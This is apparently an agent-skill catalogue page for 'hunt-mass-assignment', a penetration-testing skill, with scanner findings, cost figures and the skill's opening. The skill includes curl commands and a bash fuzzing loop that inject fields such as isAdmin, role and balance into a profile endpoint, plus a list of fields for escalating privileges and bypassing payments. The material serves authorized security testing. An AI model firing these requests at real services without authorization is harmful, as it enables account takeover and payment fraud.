Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-mass-assignmentgit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mass-assignment/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mass-assignment.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 9 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 32 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 68 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 108 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 119 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 108 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 114 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 114 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 119 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- low Privilege Escalation · line 19 Skill requests more permissions than appear necessary for its stated functionality. Review if elevated access is justified.Fix: Request only the minimum permissions required. Document why each permission is needed. Remove broad permissions like '*' or 'all'.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00019 | $0.01754 |
| Opus 5 | $0.00010 | $0.00877 |
| Sonnet 5 | $0.00004 | $0.00351 |
| Haiku 4.5 | $0.00002 | $0.00175 |
Grade A, and why
hunt-mass-assignment scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
requests.post("https://target.com/api/users", json={ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Requires curl, python3 How it starts
The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Mass Assignment Hunting
Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.
When to Use
- API accepts JSON/XML/form body with fields beyond what the UI exposes.
- User profile updates, registration, checkout, or resource creation endpoints.
- Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.
- PATCH endpoints that accept sparse updates — may skip per-field authorization.
Quick Detection
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
Key Sensitive Field Dictionary
| Field | Impact |
|---|---|
isAdmin, is_admin, admin |
Admin escalation |
role, roles, user_role |
Role escalation |
ownerId, user_id, authorId |
Resource takeover |
plan, tier, subscription_type |
Payment bypass |
balance, credits, wallet |
Financial manipulation |
verified, is_verified, email_verified |
Verification bypass |
discount, coupon_applied, promo |
Pricing manipulation |
organizationId, tenantId, teamId |
Cross-tenant access |
banned, disabled, suspended |
Account state control |
Procedure
Phase 1 — Sensitive Field Injection
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 178 lines · 19 tokens per session scan A 8b1d05262333
hunt-mass-assignment is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 19 tokens to every session and 1,754 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
detecting-broken-object-property-level-authorization
Detect and test for OWASP API3:2023 Broken Object Property Level Authorization vulnerabilities including excessive data exposure and mass assignment attacks.
exploiting-broken-function-level-authorization
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating…
implementing-api-schema-validation-security
Implement API schema validation using OpenAPI specifications and JSON Schema to enforce input/output contracts and prevent injection, data exposure, and mass assignment attacks.
testing-api-for-mass-assignment-vulnerability
Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if…
auditing-gcp-iam-permissions
Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.
detecting-compromised-cloud-credentials
Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.